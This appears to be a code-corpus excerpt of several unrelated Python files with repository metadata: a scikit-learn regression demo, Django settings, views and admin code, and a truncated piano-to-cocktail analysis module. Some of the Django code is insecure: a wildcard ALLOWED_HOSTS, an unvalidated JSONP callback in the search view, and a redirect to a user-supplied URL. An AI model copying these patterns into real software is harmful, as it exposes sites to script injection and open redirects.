#!/usr/bin/python # -*- coding: utf-8 -*- """ ========================================================= Linear Regression Example ========================================================= This example uses the only the first feature of the `diabetes` dataset, in order to illustrate a two-dimensional plot of this regression technique. The straight line can be seen in the plot, showing how linear regression attempts to draw a straight line that will best minimize the residual sum of squares between the observed responses in the dataset, and the responses predicted by the linear approximation. The coefficients, the residual sum of squares and the variance score are also calculated. """ print(__doc__) # Code source: Jaques Grobler # License: BSD 3 clause import matplotlib.pyplot as plt import numpy as np from sklearn import datasets, linear_model # Load the diabetes dataset diabetes = datasets.load_diabetes() # Use only one feature diabetes_X = diabetes.data[:, np.newaxis, 2] # Split the data into training/testing sets diabetes_X_train = diabetes_X[:-20] diabetes_X_test = diabetes_X[-20:] # Split the targets into training/testing sets diabetes_y_train = diabetes.target[:-20] diabetes_y_test = diabetes.target[-20:] # Create linear regression object regr = linear_model.LinearRegression() # Train the model using the training sets regr.fit(diabetes_X_train, diabetes_y_train) # The coefficients print('Coefficients: \n', regr.coef_) # The mean square error print("Residual sum of squares: %.2f" % np.mean((regr.predict(diabetes_X_test) - diabetes_y_test) ** 2)) # Explained variance score: 1 is perfect prediction print('Variance score: %.2f' % regr.score(diabetes_X_test, diabetes_y_test)) # Plot outputs plt.scatter(diabetes_X_test, diabetes_y_test, color='black') plt.plot(diabetes_X_test, regr.predict(diabetes_X_test), color='blue', linewidth=3) plt.xticks(()) plt.yticks(()) plt.show()
bsd-3-clause
trianglefraternitymtu/slack-bridge
server/settings.py
1
4877
""" Django settings for slack announcement approval project, on Heroku. For more info, see: https://github.com/heroku/heroku-django-template For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ import os import dj_database_url # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(__file__)) PROJECT_ROOT = os.path.dirname(os.path.abspath(__file__)) SECRET_KEY = os.environ['DJANGO_SECRET_KEY'] # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/ DEBUG = "DEBUG_MODE" in os.environ INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'channels', 'website' ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', ) ROOT_URLCONF = 'server.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'debug': True, 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] # Database # https://docs.djangoproject.com/en/1.9/ref/settings/#databases # Update database configuration with $DATABASE_URL. DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } db_from_env = dj_database_url.config(conn_max_age=500) DATABASES['default'].update(db_from_env) # Password validation # https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/1.8/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Honor the 'X-Forwarded-Proto' header for request.is_secure() SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https') # Allow all host headers ALLOWED_HOSTS = ['*'] # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.8/howto/static-files/ STATIC_ROOT = os.path.join(PROJECT_ROOT, 'staticfiles') STATIC_URL = '/static/' # Extra places for collectstatic to find static files. STATICFILES_DIRS = ( os.path.join(PROJECT_ROOT, 'static'), ) # Channel settings CHANNEL_LAYERS = { "default": { "BACKEND": "asgi_redis.RedisChannelLayer", "CONFIG": { "hosts": [os.environ.get('REDIS_URL', 'redis://localhost:6379')], }, "ROUTING": "server.routing.channel_routing", }, } # Simplified static file serving. # https://warehouse.python.org/project/whitenoise/ STATICFILES_STORAGE = 'whitenoise.django.GzipManifestStaticFilesStorage' LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'formatters': { 'verbose': { 'format': ('%(asctime)s [%(process)d] [%(levelname)s] ' + 'pathname=%(pathname)s lineno=%(lineno)s ' + 'funcname=%(funcName)s %(message)s'), 'datefmt': '%Y-%m-%d %H:%M:%S' }, 'simple': { 'format': '%(levelname)s %(message)s' } }, 'handlers': { 'null': { 'level': 'DEBUG', 'class': 'logging.NullHandler', }, 'console': { 'level': 'DEBUG', 'class': 'logging.StreamHandler', 'formatter': 'simple' } }, 'loggers': { 'basicLogger': { 'handlers': ['console'], 'level': 'DEBUG', } } }
mit
mdanielwork/intellij-community
python/lib/Lib/site-packages/django/contrib/gis/db/backends/util.py
377
1749
""" A collection of utility routines and classes used by the spatial backends. """ def gqn(val): """ The geographic quote name function; used for quoting tables and geometries (they use single rather than the double quotes of the backend quotename function). """ if isinstance(val, basestring): if isinstance(val, unicode): val = val.encode('ascii') return "'%s'" % val else: return str(val) class SpatialOperation(object): """ Base class for generating spatial SQL. """ sql_template = '%(geo_col)s %(operator)s %(geometry)s' def __init__(self, function='', operator='', result='', **kwargs): self.function = function self.operator = operator self.result = result self.extra = kwargs def as_sql(self, geo_col, geometry='%s'): return self.sql_template % self.params(geo_col, geometry) def params(self, geo_col, geometry): params = {'function' : self.function, 'geo_col' : geo_col, 'geometry' : geometry, 'operator' : self.operator, 'result' : self.result, } params.update(self.extra) return params class SpatialFunction(SpatialOperation): """ Base class for generating spatial SQL related to a function. """ sql_template = '%(function)s(%(geo_col)s, %(geometry)s)' def __init__(self, func, result='', operator='', **kwargs): # Getting the function prefix. default = {'function' : func, 'operator' : operator, 'result' : result } kwargs.update(default) super(SpatialFunction, self).__init__(**kwargs)
apache-2.0
vongochung/buiquocviet
home/views.py
1
11342
# -*- coding: utf-8 -*- from datetime import datetime, timedelta from django.http import Http404 from django.views.decorators.csrf import ensure_csrf_cookie from django.http import HttpResponseRedirect from django.shortcuts import render_to_response, redirect, HttpResponse, get_object_or_404 from django.template import RequestContext from django.template.loader import render_to_string from django.contrib.auth.decorators import login_required from home.models import POST, Category, IMAGE_STORE from datetime import datetime from django.core.paginator import Paginator, PageNotAnInteger from google.appengine.api import memcache import json from django.views.decorators.cache import cache_page from django.db.models import Q from home.function import MultiCookie from google.appengine.ext import blobstore from google.appengine.api import images import cgi now = datetime.now() from settings import PAGE_SIZE #@cache_page(60 * 5) def index(request): lang = request.LANGUAGE_CODE categories = memcache.get('categories-'+lang) if categories is None: categories = Category.objects.all().order_by('order') memcache.set('categories-'+lang, list(categories), 300) paginator = Paginator(categories, PAGE_SIZE) categories = paginator.page(1) return render_to_response('home/index.html', {"categories":categories, "lang":lang}, context_instance=RequestContext(request)) def set_redirect(lang="vi", type_redirect_page=None, post=None, category=None): redirect = "/" if type_redirect_page == "xem_nhieu" and lang == "vi": return "/most-view/" elif type_redirect_page == "xem_nhieu" and lang == "en": return "/xem-nhieu/" elif type_redirect_page == "binh_luan_nhieu" and lang == "en": return "/binh-luan-nhieu/" elif type_redirect_page == "binh_luan_nhieu" and lang == "vi": return "/most-comment/" elif type_redirect_page == "detail" and lang == "en": return "/"+post.category.slug+"/"+post.slug+"/" elif type_redirect_page == "detail" and lang == "vi": return "/"+post.category.slug_en+"/"+post.slug_en+"/" elif type_redirect_page == "category" and lang == "en": return "/"+category.slug+"/" elif type_redirect_page == "category" and lang == "vi": return "/"+category.slug_en+"/" else: return redirect def get_posts(request): if request.method == 'POST': category = None posts_list = None page = request.POST.get('page') if "category" in request.POST: category = request.POST["category"] cate= get_object_or_404(Category,slug=category) posts_list = memcache.get('categories-%s' % category) if posts_list is None: posts_list = POST.objects.filter(category=cate).order_by('-date') memcache.set('categories-%s' % category, list(posts_list), 300) paginator = Paginator(posts_list, PAGE_SIZE) try: posts = paginator.page(page) except PageNotAnInteger: return HttpResponse(status=400) data = {"posts":posts} if category is not None: data["cate_current"] = category html = render_to_string("post/post_ajax.html", data) serialized_data = json.dumps({"html": html}) return HttpResponse(serialized_data, mimetype='application/json') return HttpResponse(status=400) def get_categories(request): if request.method == 'POST': cate_list = None page = request.POST.get('page') try: cate_list = memcache.get('categories') if cate_list is None: cate_list = Category.objects.all().order_by('order') memcache.set('categories', cate_list, 300) except: cate_list = Category.objects.all().order_by('order') paginator = Paginator(cate_list, PAGE_SIZE) try: categories = paginator.page(page) except PageNotAnInteger: return HttpResponse(status=400) data = {"categories":categories} html = render_to_string("category/category_ajax.html", data) serialized_data = json.dumps({"html": html}) return HttpResponse(serialized_data, mimetype='application/json') return HttpResponse(status=400) def get_posts_detail_more(request): if request.method == 'POST': page = request.POST.get('page') typeGet = request.POST.get('type') category = request.POST["category"] cate= get_object_or_404(Category,slug=category) oldcookie = MultiCookie(cookie=request.COOKIES.get('viewed_post')) list_viewed = oldcookie.values if list_viewed is None: list_viewed = [] if "viewed" == typeGet: posts_list = POST.objects.filter(pk__in=list_viewed,category=cate).order_by('-date') else: posts_list = POST.objects.filter(~Q(pk__in=list_viewed),category=cate).order_by('-date') paginator = Paginator(posts_list, PAGE_SIZE) try: posts = paginator.page(page) except PageNotAnInteger: return HttpResponse(status=400) data = {"posts":posts, "type":typeGet, "lang":request.LANGUAGE_CODE} if category is not None: data["cate_current"] = category html = render_to_string("post/more_post_detail.html", data) serialized_data = json.dumps({"html": html}) return HttpResponse(serialized_data, mimetype='application/json') return HttpResponse(status=400) @cache_page(60 * 4) def detail_post(request, category=None, slug=None): post = get_object_or_404(POST, slug=slug) post.updateView() oldcookie = MultiCookie(cookie=request.COOKIES.get('viewed_post')) list_viewed = oldcookie.values if list_viewed is None: list_viewed = [post.id] else: if exits_in_array(list_viewed, post.id) == False: list_viewed.append(post.id) categories = Category.objects.all().order_by('order') response = render_to_response('home/detail.html', {"post":post,"categories":categories}, context_instance=RequestContext(request)) newcookie = MultiCookie(values=list_viewed) response.set_cookie('viewed_post',value=newcookie) return response @cache_page(60 * 15) def category(request, category=None): cate= get_object_or_404(Category,slug=category) posts_list = memcache.get(category) if posts_list is None: posts_list = POST.objects.filter(category=cate).order_by('-date') memcache.set(category, list(posts_list), 300) paginator = Paginator(posts_list, PAGE_SIZE) posts = paginator.page(1) return render_to_response('home/category_page.html', {"posts":posts,"cate_current":cate}, context_instance=RequestContext(request)) def get_array_field(dict_list, field): arr_return = [] for item in dict_list: arr_return.append(getattr(item, field)) return arr_return def exits_in_array(dict_list, ele): for item in dict_list: if item == ele: return True return False def category_post_relative(request, category=None): post=request.GET["post"] oldcookie = MultiCookie(cookie=request.COOKIES.get('viewed_post')) list_viewed = oldcookie.values if list_viewed is None: list_viewed = [] if request.LANGUAGE_CODE == "vi": cate= get_object_or_404(Category,slug=category) else: cate= get_object_or_404(Category,slug_en=category) posts_list_not_view = POST.objects.filter(~Q(pk__in=list_viewed),category=cate).order_by('-date') posts_list__viewed = POST.objects.filter(pk__in=list_viewed,category=cate).order_by('-date') paginator = Paginator(posts_list_not_view, PAGE_SIZE) posts_not_view = paginator.page(1) paginator_viewed = Paginator(posts_list__viewed, PAGE_SIZE) posts_viewed = paginator_viewed.page(1) data = {"posts_not_view":posts_not_view, "posts_viewed":posts_viewed, "cate_current":category, "lang":request.LANGUAGE_CODE} html = render_to_string("post/post_relative_ajax.html", data) serialized_data = json.dumps({"html": html}) return HttpResponse(serialized_data, mimetype='application/json') @login_required def upload_image(request): upload_files = get_uploads(request, field_name='file', populate_post=True) # 'file' is file upload field in the form blob_info = upload_files[0] image = IMAGE_STORE() image.blob_key = blob_info.key() image.created_date = blob_info.creation image.size = blob_info.size image.file_name = blob_info.filename image.save() return redirect(request.POST["redirect"]) def get_uploads(request, field_name=None, populate_post=False): """Get uploads sent to this handler. Args: field_name: Only select uploads that were sent as a specific field. populate_post: Add the non blob fields to request.POST Returns: A list of BlobInfo records corresponding to each upload. Empty list if there are no blob-info records for field_name. """ if hasattr(request,'__uploads') == False: request.META['wsgi.input'].seek(0) fields = cgi.FieldStorage(request.META['wsgi.input'], environ=request.META) request.__uploads = {} if populate_post: request.POST = {} for key in fields.keys(): field = fields[key] if isinstance(field, cgi.FieldStorage) and 'blob-key' in field.type_options: request.__uploads.setdefault(key, []).append(blobstore.parse_blob_info(field)) elif populate_post: request.POST[key] = field.value if field_name: try: return list(request.__uploads[field_name]) except KeyError: return [] else: results = [] for uploads in request.__uploads.itervalues(): results += uploads return results @login_required def get_images(request): images_list = IMAGE_STORE.objects.all().order_by('-created_date') paginator = Paginator(images_list, PAGE_SIZE) imagesPage = paginator.page(1) urls = [] for blob in imagesPage: urls.append(images.get_serving_url(blob.blob_key)) data = {"urls" : urls, "images":imagesPage} html = render_to_string("image/image_ajax.html", data) serialized_data = json.dumps({"html": html}) return HttpResponse(serialized_data, mimetype='application/json') @login_required def get_images_more(request): if request.method == 'POST': page = request.POST.get('page') images_list = IMAGE_STORE.objects.all().order_by('-created_date') paginator = Paginator(images_list, PAGE_SIZE) try: imagesPage = paginator.page(page) except PageNotAnInteger: return HttpResponse(status=400) urls = [] for blob in imagesPage: urls.append(images.get_serving_url(blob.blob_key)) data = {"urls" : urls, "images":imagesPage} html = render_to_string("image/image_ajax.html", data) serialized_data = json.dumps({"html": html}) return HttpResponse(serialized_data, mimetype='application/json') return HttpResponse(status=400) def commented(request): if request.method == "POST": post = get_object_or_404(POST, pk=request.POST["p"]) if "type" in request.POST: post.updateComment("removed") else: post.updateComment() return HttpResponse(status=200) return HttpResponse(status=400) def liked(request): if request.method == "POST": post = get_object_or_404(POST, pk=request.POST["p"]) if "type" in request.POST: post.updateLike("unliked") else: post.updateLike() return HttpResponse(status=200) return HttpResponse(status=400) def search(request): """ Autocomplete search for Venue and Player API :param request: """ key = u'%s' % request.GET['q'] callback = request.GET.get('callback') cates = Category.objects.all().filter(Q(name__icontains=key))[:10] dictionaries = [ obj.as_dict() for obj in cates ] serialized_data = json.dumps(dictionaries) data = '%s(%s)' % (callback, serialized_data) return HttpResponse(data, mimetype='application/json')
bsd-3-clause
adieu/django-nonrel
django/contrib/comments/admin.py
361
3299
from django.contrib import admin from django.contrib.comments.models import Comment from django.utils.translation import ugettext_lazy as _, ungettext from django.contrib.comments import get_model from django.contrib.comments.views.moderation import perform_flag, perform_approve, perform_delete class CommentsAdmin(admin.ModelAdmin): fieldsets = ( (None, {'fields': ('content_type', 'object_pk', 'site')} ), (_('Content'), {'fields': ('user', 'user_name', 'user_email', 'user_url', 'comment')} ), (_('Metadata'), {'fields': ('submit_date', 'ip_address', 'is_public', 'is_removed')} ), ) list_display = ('name', 'content_type', 'object_pk', 'ip_address', 'submit_date', 'is_public', 'is_removed') list_filter = ('submit_date', 'site', 'is_public', 'is_removed') date_hierarchy = 'submit_date' ordering = ('-submit_date',) raw_id_fields = ('user',) search_fields = ('comment', 'user__username', 'user_name', 'user_email', 'user_url', 'ip_address') actions = ["flag_comments", "approve_comments", "remove_comments"] def get_actions(self, request): actions = super(CommentsAdmin, self).get_actions(request) # Only superusers should be able to delete the comments from the DB. if not request.user.is_superuser and 'delete_selected' in actions: actions.pop('delete_selected') if not request.user.has_perm('comments.can_moderate'): if 'approve_comments' in actions: actions.pop('approve_comments') if 'remove_comments' in actions: actions.pop('remove_comments') return actions def flag_comments(self, request, queryset): self._bulk_flag(request, queryset, perform_flag, lambda n: ungettext('flagged', 'flagged', n)) flag_comments.short_description = _("Flag selected comments") def approve_comments(self, request, queryset): self._bulk_flag(request, queryset, perform_approve, lambda n: ungettext('approved', 'approved', n)) approve_comments.short_description = _("Approve selected comments") def remove_comments(self, request, queryset): self._bulk_flag(request, queryset, perform_delete, lambda n: ungettext('removed', 'removed', n)) remove_comments.short_description = _("Remove selected comments") def _bulk_flag(self, request, queryset, action, done_message): """ Flag, approve, or remove some comments from an admin action. Actually calls the `action` argument to perform the heavy lifting. """ n_comments = 0 for comment in queryset: action(request, comment) n_comments += 1 msg = ungettext(u'1 comment was successfully %(action)s.', u'%(count)s comments were successfully %(action)s.', n_comments) self.message_user(request, msg % {'count': n_comments, 'action': done_message(n_comments)}) # Only register the default admin if the model is the built-in comment model # (this won't be true if there's a custom comment app). if get_model() is Comment: admin.site.register(Comment, CommentsAdmin)
bsd-3-clause
bverdu/Pyanocktail
pyanocktail/pyanalysis.py
1
31981
# -*- coding: utf-8 -*- # This software is free software; you can redistribute it and/or modify it under # the terms of version 2 of GNU General Public License as published by the # Free Software Foundation (see License.txt). from __future__ import division import numpy as np # Note FJ : # format des fichiers pckt : # je crois qu'on a # colonne 0 : temps de l'évènement (en ms) # colonne 1 : type dévènement (0 note off, 1 note on, 5 sustain on ou off) # colonne 2 : hauteur de la note # colonne 3 : intensité de la note def arggsort(data): # Il n'y a pas d'équivalent direct à la fonction gsort de scilab dans numpy # gsort ordonne les résultats du plus grand au plus petit, en imposant en plus # de conserver l'ordre des indices pour les valeurs identiques # on recupère les valeurs ordonnées du plus grand au plus petit ordered_data = np.sort(data)[::-1] # on récupère les indices correspondants indexes = np.argsort(data)[::-1] # il est maintenant nécessaire de faire une boucle pour réordonner les indices # pour les valeurs identiques # début de la plage (inclus) pour laquel les valeurs ordonnées sont # identiques ind_start = 0 # fin de la plage (exclus) pour laquel les valeurs ordonnées sont # identiques ind_stop = 1 for ind in range(1, indexes.shape[0]): if ordered_data[ind] == ordered_data[ind - 1]: ind_stop += 1 else: indexes[ind_start:ind_stop] = np.sort(indexes[ind_start:ind_stop]) ind_start = ind_stop ind_stop += 1 indexes[ind_start:ind_stop] = np.sort(indexes[ind_start:ind_stop]) return indexes def PIANOCKTAIL(notes): ###################################### # Ouverture des fichiers - Liste des ON / OFF / SUSTAIN ###################################### # piano = np.loadtxt(fname) if isinstance(notes, list): piano = np.array(notes) else: piano = np.loadtxt(notes) l = piano.shape[0] # Liste des ON / OFF / SUSTAIN M_On = piano[piano[:, 1] == 1, :] nbnotes_piece = M_On.shape[0] M_Off = piano[piano[:, 1] == 0, :] nbnoff_piece = M_Off.shape[0] M_Sust = piano[piano[:, 1] == 5, :] nbsust_piece = M_Sust.shape[0] # Conversion des instants millisecondes -> secondes M_On[:, 0] = M_On[:, 0] / 1000. M_Off[:, 0] = M_Off[:, 0] / 1000. M_Sust[:, 0] = M_Sust[:, 0] / 1000. ###################################### # Verif des sustains: si nombre impair, off a la fin du morceau ###################################### # !!! FJ : attention, je n'ai aucun fichier de test avec des données de # sustain, tout ce qui concerne le sustain n'a donc pas été testé if nbsust_piece % 2 != 0: M_Sust = np.vstack([M_Sust, [np.max(M_Off[:, 0]), 5., 0., 0.]]) nbsust_piece = M_Sust.shape[0] # Separation des sustains On / Off Sust_On = M_Sust[0::2, :] Sust_Off = M_Sust[1::2, :] ###################################### # Determination de la fin des notes ###################################### for i in np.arange(nbnotes_piece): j = 0 while ((M_Off[j, 2] != M_On[i, 2]) or (M_Off[j, 0] < M_On[i, 0])) \ and (j < nbnoff_piece - 1): j += 1 M_On[i, 1] = M_Off[j, 0] M_Off[j, 2] = 0. del M_Off del piano note_piece = np.zeros([nbnotes_piece, 7]) note_piece[:, 3] = M_On[:, 2] note_piece[:, 4] = M_On[:, 3] note_piece[:, 5] = M_On[:, 0] note_piece[:, 6] = M_On[:, 1] - M_On[:, 0] del M_On size_piece = note_piece.shape nbnotes_piece = size_piece[0] # Duration of the piece in seconds: t_piece = np.max(note_piece[:, 5]) duree = t_piece # Density of notes (notes/seconds): densite = nbnotes_piece / t_piece # Attaques: # !!! FJ : Il manque pas un indice à note_piece dans np.mean(note_piece))^(1/3) ? # OUI : ajouter [:,4] # !!! FJ : scilab renvoie 0 pour stdev lorsqu'on lui passe une seule valeur # (ie il y a une seule note dans le morceau), numpy renvoie nan # -> j'ajoute un test if note_piece.shape[0] == 1: Enervement = np.mean(note_piece[:, 4]) * 0.1**(1. / 3.) * 1.1 else: Enervement = np.mean(note_piece[:, 4]) * \ (0.1 + 1.0 * (np.std(note_piece[:, 4], ddof=1)) / np.mean(note_piece[:, 4]))**(1. / 3.) \ * 1.1 metrique = METRIQUE(note_piece) tonalite = TONALITE(note_piece) tempo = TEMPO(note_piece) # Complexite: # !!! FJ : C'est normal le commentaire à la fin ? # OUI c'est normal Complexite = (densite * 60 / tempo)**1.2 # *densite**0.3 # Tristesse du morceau # 45 points pour le tempo et bonus de 40 si tonalite mineure, bonus de 15 si binaire # !!! FJ : pourquoi il y a un max là ? # OUI c'est normal !!! tristesse = max(45 * (1 - tempo / 150) + 40 * np.floor(tonalite / 13.), 0) + 15 * (1 - np.floor(metrique / 3.)) cocktail = RECETTE(duree, Complexite, tonalite, tempo) return (duree, tristesse, Enervement, Complexite, metrique, tonalite, tempo, cocktail) def RECETTE(duree, complexite, tonalite, tempo): # Ici on détermine quoi mettre dans le verre ! crit_duree = [0., 10., 30., 90., 180.] crit_tempo = [50, 80, 120] alcfort = ['alc01 ', 'alc02 ', 'alc03 ', 'alc04 ', 'alc05 ', 'alc06 ', 'alc07 ', 'alc08 ', 'alc09 ', 'alc10 ', 'alc11 ', 'alc12 '] sodamaj = ['sj1 ', 'sj2 ', 'sj3 ', 'sj4 '] sodamin = ['sn1 ', 'sn2 ', 'sn3 ', 'sn4 '] complicado = ['tralala '] recette = [] # CHOIX DE L'ALCOOL FORT (Tonalite) recette.append(alcfort[(tonalite - 1) % 12]) # DOSAGE DE L'ALCOOL FORT (Duree du morceau) # !!! FJ : il faudrait récrire ces boucles de manière plus générique # avec des opérations sur les tableaux directement if ((crit_duree[0] < duree) and (duree <= crit_duree[1])): recette.append('0 ') elif ((crit_duree[1] < duree) and (duree <= crit_duree[2])): recette.append('1 ') elif ((crit_duree[2] < duree) and (duree <= crit_duree[3])): recette.append('2 ') elif ((crit_duree[3] < duree) and (duree <= crit_duree[4])): recette.append('3 ') elif (duree > crit_duree[4]): recette.append('4 ') # DETERMINATION DU SODA # Pre-decoupage de la liste de sodas: majeur - mineur # !!! FJ il faudrait vérifier comment est codée la tonalité, mais si les # valeurs 1 à 12 sont en majeur, là il y a une erreur car 12 est reconnu # comme mineur, et est-ce que le else est censé arriver ? # OUI, c'est à corriger -> J'ai remplacé tonalite par tonalite-1 # bug_6.pckt permet de tomber sur un cas où la tonalité vaut 24, ce qui # provoquait un problème avec le code non corrigé if np.floor((tonalite - 1) / 12.) == 0.: soda = sodamaj elif np.floor((tonalite - 1) / 12.) == 1.: soda = sodamin else: soda = [] # DETERMINATION DU SODA # Choix du soda proprement dit if (tempo < crit_tempo[0]): recette.append(soda[0]) recette.append('3 ') elif ((crit_tempo[0] < tempo) and (tempo <= crit_tempo[1])): recette.append(soda[1]) recette.append('3 ') elif ((crit_tempo[1] < tempo) and (tempo <= crit_tempo[2])): recette.append(soda[2]) recette.append('3 ') elif ((crit_tempo[2] < tempo)): recette.append(soda[3]) recette.append('3 ') # LA PETITE TOUCHE DE VIRTUOSITE - C'EST PEUT-ETRE BON if complexite > 0.7: recette.append(complicado[0]) recette.append('1 ') recette1 = ''.join(recette) return recette1 def TONALITE(note_piece): size_piece = note_piece.shape nbnotes_piece = size_piece[0] #################################################### # ESTIMATION DE LA TONALITE #################################################### # # Tonalité: # key_piece = kkkey(note_piece) # Key of NMAT according to the Krumhansl-Kessler algorithm # k = kkkey(nmat) # Returns the key of NMAT according to the Krumhansl-Kessler algorithm. # # Input argument: # NOTE_PIECE = notematrix # # Output: # K = estimated key of NMAT encoded as a number # encoding: C major = 1, C# major = 2, ... # c minor = 13, c# minor = 14, ... # # Remarks: # # See also KEYMODE, KKMAX, and KKCC. # # Example: # # Reference: # Krumhansl, C. L. (1990). Cognitive Foundations of Musical Pitch. # New York: Oxford University Press. # # Author Date # P. Toiviainen 8.8.2002 # © Part of the MIDI Toolbox, Copyright © 2004, University of Jyvaskyla, Finland # See License.txt # Correlations of pitch-class distribution with Krumhansl-Kessler tonal hierarchies # c = kkcc(nmat, <opt>) # Returns the correlations of the pitch class distribution PCDIST1 # of NMAT with each of the 24 Krumhansl-Kessler profiles. # # Input arguments: # NMAT = notematrix # OPT = OPTIONS (optional), 'SALIENCE' return the correlations of the # pitch-class distribution according to the Huron & Parncutt (1993) # key-finding algorithm. # # Output: # C = 24-component vector containing the correlation coeffients # between the pitch-class distribution of NMAT and each # of the 24 Krumhansl-Kessler profiles. # # Remarks: REFSTAT function is called to load the key profiles. # # Example: c = kkcc(nmat, 'salience') # # See also KEYMODE, KKMAX, and KKKEY in the MIDI Toolbox. # # References: # Krumhansl, C. L. (1990). Cognitive Foundations of Musical Pitch. # New York: Oxford University Press. # # Huron, D., & Parncutt, R. (1993). An improved model of tonality # perception incorporating pitch salience and echoic memory. # Psychomusicology, 12, 152-169. # pc = note_piece[:, 3] % 12 tau = 0.5 accent_index = 2 dur = note_piece[:, 6] dur_acc = (1 - np.exp(-dur / tau))**accent_index # !!! FJ : il faudrait réécrire pour utiliser pcds sous la forme # np.zeros(12) pcds = np.zeros([1, 12]) size_pc = pc.shape[0] for k in np.arange(size_pc): pcds[0, int(pc[k])] = pcds[0, int(pc[k])] + dur_acc[k] pcds = pcds / np.sum(pcds + 1e-12) kkprofs = np.array([ [0.39, 0.14, 0.21, 0.14, 0.27, 0.25, 0.15, 0.32, 0.15, 0.22, 0.14, 0.18], [0.18, 0.39, 0.14, 0.21, 0.14, 0.27, 0.25, 0.15, 0.32, 0.15, 0.22, 0.14], [0.14, 0.18, 0.39, 0.14, 0.21, 0.14, 0.27, 0.25, 0.15, 0.32, 0.15, 0.22], [0.22, 0.14, 0.18, 0.39, 0.14, 0.21, 0.14, 0.27, 0.25, 0.15, 0.32, 0.15], [0.15, 0.22, 0.14, 0.18, 0.39, 0.14, 0.21, 0.14, 0.27, 0.25, 0.15, 0.32], [0.32, 0.15, 0.22, 0.14, 0.18, 0.39, 0.14, 0.21, 0.14, 0.27, 0.25, 0.15], [0.15, 0.32, 0.15, 0.22, 0.14, 0.18, 0.39, 0.14, 0.21, 0.14, 0.27, 0.25], [0.25, 0.15, 0.32, 0.15, 0.22, 0.14, 0.18, 0.39, 0.14, 0.21, 0.14, 0.27], [0.27, 0.25, 0.15, 0.32, 0.15, 0.22, 0.14, 0.18, 0.39, 0.14, 0.21, 0.14], [0.14, 0.27, 0.25, 0.15, 0.32, 0.15, 0.22, 0.14, 0.18, 0.39, 0.14, 0.21], [0.21, 0.14, 0.27, 0.25, 0.15, 0.32, 0.15, 0.22, 0.14, 0.18, 0.39, 0.14], [0.14, 0.21, 0.14, 0.27, 0.25, 0.15, 0.32, 0.15, 0.22, 0.14, 0.18, 0.39], [0.38, 0.16, 0.21, 0.32, 0.15, 0.21, 0.15, 0.28, 0.24, 0.16, 0.20, 0.19], [0.19, 0.38, 0.16, 0.21, 0.32, 0.15, 0.21, 0.15, 0.28, 0.24, 0.16, 0.20], [0.20, 0.19, 0.38, 0.16, 0.21, 0.32, 0.15, 0.21, 0.15, 0.28, 0.24, 0.16], [0.16, 0.20, 0.19, 0.38, 0.16, 0.21, 0.32, 0.15, 0.21, 0.15, 0.28, 0.24], [0.24, 0.16, 0.20, 0.19, 0.38, 0.16, 0.21, 0.32, 0.15, 0.21, 0.15, 0.28], [0.28, 0.24, 0.16, 0.20, 0.19, 0.38, 0.16, 0.21, 0.32, 0.15, 0.21, 0.15], [0.15, 0.28, 0.24, 0.16, 0.20, 0.19, 0.38, 0.16, 0.21, 0.32, 0.15, 0.21], [0.21, 0.15, 0.28, 0.24, 0.16, 0.20, 0.19, 0.38, 0.16, 0.21, 0.32, 0.15], [0.15, 0.21, 0.15, 0.28, 0.24, 0.16, 0.20, 0.19, 0.38, 0.16, 0.21, 0.32], [0.32, 0.15, 0.21, 0.15, 0.28, 0.24, 0.16, 0.20, 0.19, 0.38, 0.16, 0.21], [0.21, 0.32, 0.15, 0.21, 0.15, 0.28, 0.24, 0.16, 0.20, 0.19, 0.38, 0.16], [0.16, 0.21, 0.32, 0.15, 0.21, 0.15, 0.28, 0.24, 0.16, 0.20, 0.19, 0.38]]) tmp_mat = np.vstack([pcds, kkprofs]).transpose() [n, p] = tmp_mat.shape covpcds = tmp_mat - np.dot(np.ones([n, p]), np.mean(tmp_mat)) covpcds = np.dot(covpcds.transpose(), covpcds) / (n - 1) # !!! FJ : c'est normal que ce soit commenté ça ? # OUI, a priori l'équivalent est codé directement juste au dessus # covpcds = cov([pcds; kkprofs]'); # SCILAB: corr c2 = np.zeros(24) for k in np.arange(1, 25): c2[k - 1] = covpcds[0, k] / np.sqrt(covpcds[0, 0] * covpcds[k, k]) tonalite = np.argmax(c2) + 1 return tonalite def TEMPO(note_piece): # !!! FJ il faudrait réécrire cette fonction en vectoriel (là c'est bouré de # boucles et bien difficile à lire...) size_piece = note_piece.shape nbnotes_piece = size_piece[0] # !!! FJ : Le cas où une seule est présente fait planter l'algo # -> il faudra décider comment on gère ce cas, pour l'instant je mets un # test et je renvoie une valeur arbitraire if nbnotes_piece == 1: 